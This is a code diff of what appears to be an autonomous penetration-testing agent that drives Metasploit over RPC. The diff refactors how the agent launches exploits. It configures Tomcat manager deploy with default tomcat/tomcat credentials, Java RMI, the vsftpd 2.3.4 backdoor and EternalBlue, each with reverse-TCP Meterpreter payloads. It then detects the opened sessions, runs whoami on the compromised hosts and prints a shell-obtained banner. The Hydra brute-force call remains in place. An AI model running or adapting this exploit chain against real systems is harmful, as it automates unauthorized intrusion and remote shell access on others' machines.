@@ -113,14 +113,6 @@ def _execute_recon(self, decision: Dict):
113113
114114 # ── Phase 3: Exploitation ─────────────────────────────────────────────
115115
116- # Handler config per module: (payload, lport)
117- _HANDLER_CONFIGS = {
118- "exploit/multi/http/tomcat_mgr_deploy" : ("java/meterpreter/reverse_tcp" , 4444 ),
119- "exploit/multi/misc/java_rmi_server" : ("java/meterpreter/reverse_tcp" , 4446 ),
120- "exploit/unix/ftp/vsftpd_234_backdoor" : ("cmd/unix/reverse_perl" , 4445 ),
121- "exploit/windows/smb/ms17_010_eternalblue" : ("windows/x64/meterpreter/reverse_tcp" , 4447 ),
122- }
123-
124116 @staticmethod
125117 def _get_local_ip () -> str :
126118 import socket as _sock
@@ -136,22 +128,96 @@ def _get_local_ip() -> str:
136128 except Exception :
137129 pass
138130
139- def _start_msf_handler (self , lhost : str , lport : int , payload : str ):
140- """Start a multi/handler listener to receive the reverse callback."""
131+
132+ def _handle_new_session (self , sid : str , sinfo : dict , via_module : str ):
133+ """Banner + SESSION_OPENED event for a newly detected MSF session."""
134+ session_host = sinfo .get ("session_host" , sinfo .get ("target_host" , self .state .target ))
135+ whoami_out = "N/A"
141136 try :
142- handler = self .msf_client .modules .use ("exploit" , "multi/handler" )
143- handler ["PAYLOAD" ] = payload
144- handler ["LHOST" ] = lhost
145- handler ["LPORT" ] = lport
146- handler ["ExitOnSession" ] = False
147- pay = self .msf_client .modules .use ("payload" , payload )
148- pay ["LHOST" ] = lhost
149- pay ["LPORT" ] = lport
150- handler .execute (payload = pay )
151- time .sleep (2 ) # give the handler time to bind
152- logger .info (f"MSF handler started: { payload } on { lhost } :{ lport } " )
137+ session_obj = self .msf_client .sessions .session (sid )
138+ stype = sinfo .get ("type" , "" )
139+ arch = sinfo .get ("arch" , "" )
140+ if stype == "meterpreter" and arch == "java" :
141+ whoami_out = session_obj .run_with_output (
142+ 'execute -f /bin/sh -a "-c whoami" -i' , timeout = 8
143+ ).strip ()
144+ else :
145+ whoami_out = session_obj .run_with_output ("whoami" , timeout = 8 ).strip ()
146+ except Exception :
147+ pass
148+
149+ w = 42
150+ print (f"\n ╔{ '═' * w } ╗" )
151+ print (f"║{ 'SHELL OBTENU - ACCES CONFIRME' :^{w }} ║" )
152+ print (f"╠{ '═' * w } ╣" )
153+ print (f"║ Host : { session_host :<{w - 11 }} ║" )
154+ print (f"║ Via : { via_module .split ('/' )[- 1 ]:<{w - 11 }} ║" )
155+ print (f"║ User : { whoami_out :<{w - 11 }} ║" )
156+ print (f"║ Session : { sid :<{w - 11 }} ║" )
157+ print (f"╠{ '═' * w } ╣" )
158+ print (f"║ { 'msfconsole → sessions -i ' + sid :<{w - 1 }} ║" )
159+ print (f"╚{ '═' * w } ╝\n " )
160+
161+ self .bus .publish (Event (
162+ type = EventType .SESSION_OPENED ,
163+ data = {"session_id" : sid , "host" : session_host ,
164+ "info" : sinfo .get ("info" , "" ), "via_exploit" : via_module },
165+ source = "msf_executor" ,
166+ ))
167+
168+ # Modules that require LHOST — configured via RPC payload object
169+ _LHOST_MODULES = {
170+ "exploit/multi/http/tomcat_mgr_deploy" : {
171+ "payload" : "java/meterpreter/reverse_tcp" ,
172+ "lport" : 4444 ,
173+ "extra" : {"HttpUsername" : "tomcat" , "HttpPassword" : "tomcat" },
174+ },
175+ "exploit/multi/misc/java_rmi_server" : {
176+ "payload" : "java/meterpreter/reverse_tcp" ,
177+ "lport" : 4446 ,
178+ "extra" : {},
179+ },
180+ "exploit/windows/smb/ms17_010_eternalblue" : {
181+ "payload" : "windows/x64/meterpreter/reverse_tcp" ,
182+ "lport" : 4445 ,
183+ "extra" : {},
184+ },
185+ }
186+
187+ def _execute_msf_module (self , module_name : str , target_ip : str , port : str ,
188+ payload_name : str , lhost : str , lport : int ) -> str :
189+ try :
190+ module_path = module_name .split ("/" , 1 )[1 ] # strip "exploit/"
191+ exploit = self .msf_client .modules .use ("exploit" , module_path )
192+ exploit ["RHOSTS" ] = target_ip
193+ exploit ["RPORT" ] = str (port )
194+
195+ cfg = self ._LHOST_MODULES .get (module_name , {})
196+ for k , v in cfg .get ("extra" , {}).items ():
197+ exploit [k ] = v
198+
199+ payload = self .msf_client .modules .use ("payload" , payload_name )
200+ payload ["LHOST" ] = lhost
201+ payload ["LPORT" ] = str (lport )
202+
203+ result = exploit .execute (payload = payload )
204+
205+ for _ in range (30 ):
206+ time .sleep (1 )
207+ sessions = self .msf_client .sessions .list
208+ if sessions :
209+ for sid , sinfo in sessions .items ():
210+ sid_str = str (sid )
211+ if sid_str not in self .state .sessions :
212+ self .state .sessions [sid_str ] = sinfo
213+ self ._handle_new_session (sid_str , sinfo , module_name )
214+ return "success"
215+
216+ return "completed"
217+
153218 except Exception as exc :
154- logger .warning (f"Failed to start MSF handler: { exc } " )
219+ logger .warning (f"MSF module execute error: { exc } " )
220+ return "error"
155221
156222 def _execute_exploit (self , decision : Dict ):
157223 host = decision .get ("target_host" , self .state .target )
@@ -167,112 +233,45 @@ def _execute_exploit(self, decision: Dict):
167233
168234 if tool == "metasploit" and self .msf_client :
169235 try :
170- lhost = self ._get_local_ip ()
171- handler_cfg = self ._HANDLER_CONFIGS .get (module )
172-
173- # Start handler BEFORE exploit for reverse payloads
174- if handler_cfg :
175- payload_name , lport = handler_cfg
176- print (f"[AGENT] Starting handler { payload_name } on { lhost } :{ lport } " )
177- self ._start_msf_handler (lhost , lport , payload_name )
178- else :
179- payload_name = None
180- lport = None
181-
182- # Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
183- module_type = module .split ("/" )[0 ]
184- module_path = "/" .join (module .split ("/" )[1 :])
185- print (f"[DEBUG] Lancement module : { module } " )
186-
187- client = self .msf_client
188- mod = client .modules .use (module_type , module_path )
189- mod ["RHOSTS" ] = host
190- if port and port != "0" :
191- mod ["RPORT" ] = str (port )
192- if lhost and payload_name :
193- mod ["LHOST" ] = lhost
194- mod ["LPORT" ] = str (lport )
195-
196- # Tomcat default credentials
197- if "tomcat" in module .lower ():
198- mod ["HttpUsername" ] = "tomcat"
199- mod ["HttpPassword" ] = "tomcat"
200-
201- print (f"[DEBUG] Options : RHOSTS={ host } , RPORT={ port } , "
202- f"PAYLOAD={ payload_name } , LHOST={ lhost } , LPORT={ lport } " )
203-
204- if payload_name :
205- pay = client .modules .use ("payload" , payload_name )
206- pay ["LHOST" ] = lhost
207- pay ["LPORT" ] = str (lport )
208- raw_result = mod .execute (payload = pay )
236+ lhost_cfg = self ._LHOST_MODULES .get (module )
237+ if lhost_cfg :
238+ # Modules requiring LHOST → RPC API with separate payload object
239+ lhost = self ._get_local_ip ()
240+ status = self ._execute_msf_module (
241+ module , host , port ,
242+ lhost_cfg ["payload" ], lhost , lhost_cfg ["lport" ],
243+ )
244+ result = {"status" : status , "output" : f"RPC execute: { module } " }
209245 else :
210- raw_result = mod .execute ()
246+ # vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
247+ from exploitation .metasploit_engine import MetasploitEngine
248+ eng = MetasploitEngine ()
249+ eng ._client = self .msf_client
250+ result = eng .run_module (host , port , module )
211251
212- print (f"[DEBUG] Résultat brut execute() : { raw_result } " )
213- print (f"[DEBUG] Type résultat : { type ( raw_result ) } " )
252+ print (f"[AGENT] Exploit: { module } on { host } : { port } " )
253+ print (f"[AGENT] Result: { result . get ( 'status' ) } — { result . get ( 'output' , '' )[: 80 ] } " )
214254
215- # execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
216- if isinstance (raw_result , bool ) and not raw_result :
217- logger .warning (f"Module execute() returned False — exploit failed" )
218- else :
255+ if result .get ("status" ) == "success" :
219256 self .state .exploits_success .append ({"host" : host , "module" : module })
220257 self .bus .publish (Event (
221258 type = EventType .EXPLOIT_SUCCESS ,
222259 data = {"host" : host , "port" : port , "module" : module },
223260 source = "executor" ,
224261 ))
225- wait = 15 if handler_cfg else 8
226- print ( f"[AGENT] Waiting { wait } s for session callback..." )
227- time . sleep ( wait )
228- try :
262+ if lhost_cfg is None :
263+ # LHOST modules handle session detection internally;
264+ # only check here for Phase 3 bind-shell modules
265+ time . sleep ( 5 )
229266 sessions = self .msf_client .sessions .list or {}
230- print (f"[DEBUG] Sessions après { wait } s : { sessions } " )
231267 for sid , sinfo in sessions .items ():
232268 sid_str = str (sid )
233269 if sid_str not in self .state .sessions :
234270 self .state .sessions [sid_str ] = sinfo
235- session_host = sinfo .get ("session_host" ,
236- sinfo .get ("target_host" , host ))
237- via = sinfo .get ("via_exploit" , module )
238-
239- # Confirm access with quick commands
240- whoami_out , id_out , hostname_out = "N/A" , "N/A" , "N/A"
241- try :
242- sess_obj = self .msf_client .sessions .session (sid_str )
243- whoami_out = sess_obj .run_with_output ("whoami" , timeout = 8 ).strip ()
244- id_out = sess_obj .run_with_output ("id" , timeout = 8 ).strip ()
245- hostname_out = sess_obj .run_with_output ("hostname" , timeout = 8 ).strip ()
246- except Exception :
247- pass
248-
249- # Shell banner
250- w = 42
251- print (f"\n ╔{ '═' * w } ╗" )
252- print (f"║{ 'SHELL OBTENU - ACCES CONFIRME' :^{w }} ║" )
253- print (f"╠{ '═' * w } ╣" )
254- print (f"║ Host : { session_host :<{w - 11 }} ║" )
255- print (f"║ Via : { via :<{w - 11 }} ║" )
256- print (f"║ User : { whoami_out :<{w - 11 }} ║" )
257- print (f"║ Session : { sid_str :<{w - 11 }} ║" )
258- print (f"╠{ '═' * w } ╣" )
259- print (f"║ { 'msfconsole → sessions -i ' + sid_str :<{w - 1 }} ║" )
260- print (f"╚{ '═' * w } ╝\n " )
261-
262- self .bus .publish (Event (
263- type = EventType .SESSION_OPENED ,
264- data = {
265- "session_id" : sid_str ,
266- "host" : session_host ,
267- "info" : sinfo .get ("info" , "" ),
268- "via_exploit" : via ,
269- },
270- source = "exploit_executor" ,
271- ))
272- except Exception as exc :
273- logger .debug (f"Post-exploit session check failed: { exc } " )
271+ self ._handle_new_session (sid_str , sinfo , module )
274272 except Exception as exc :
275- logger .warning (f"Exploit error: { exc } " )
273+ logger .warning (f"Exploit error [{ module } ]: { exc } " )
274+
276275 elif tool == "hydra" :
277276 self ._run_hydra (host , int (port ) if port .isdigit () else 22 ,
278277 decision .get ("module_or_cmd" , "ssh" ))
0 commit comments